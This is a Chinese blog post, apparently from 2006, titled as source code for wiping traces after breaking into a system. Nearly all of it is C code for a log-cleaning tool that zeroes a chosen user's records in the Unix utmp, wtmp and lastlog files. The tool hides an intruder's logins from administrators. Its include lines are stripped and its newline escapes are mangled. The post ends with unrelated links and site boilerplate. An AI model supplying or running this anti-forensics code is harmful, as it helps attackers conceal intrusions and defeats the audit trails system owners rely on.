破坏入侵系统后现场的源码

原创 2006年06月01日 20:59:00

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.

请使用专门的编辑器

例子:


#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"


int f;


void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

 

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

 

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

 

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

 

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

 

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

 

if ((pwd=getpwnam(who))!=NULL) {

 

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

 

} else printf("%s: ?/n",who);
}

 

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!/n");
} else
printf("Error./n");
}

微现场互动活动源码

  • 2016年11月19日 09:28
  • 16.35MB
  • 下载

设计大赛现场统分系统(C语言)

某大赛有n个选手参赛,m个评委为参赛选手评判打分,最高10分,最低0分。统分规则为:每个选手得到的m个评分中去掉一个最高分,去掉一个最低分,然后平均为该选手的最后得分。确定好所有选手的最后得分后从高到...

PDA系统之现场测试--跳跃性成长的过程(一)

13号,我和姚双一起带着自己做的工程去检查站做现场测试。我们的工程总体已经完工。只是还有一些细节的问题(参数和类型问题)没有解决。           这次去测试的主要目的是:让我们的程序可以在对方...

中国互联网技术联盟正式成立 京东、美团、 58到家现场分享推荐系统核心技术

12月19日,中国技术开放日暨中国互联网技术联盟(ITA)启动仪式在北京国家会议中心举行。京东技术学院院长阿朱(原明源软件CTO)、美团技术学院院长刘江(原CSDN总编)及来自联盟企业的多位CTO共同...
  • yjh314
  • yjh314
  • 2015年12月31日 10:58
  • 1064
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:破坏入侵系统后现场的源码
举报原因:
原因补充:

(最多只允许输入30个字)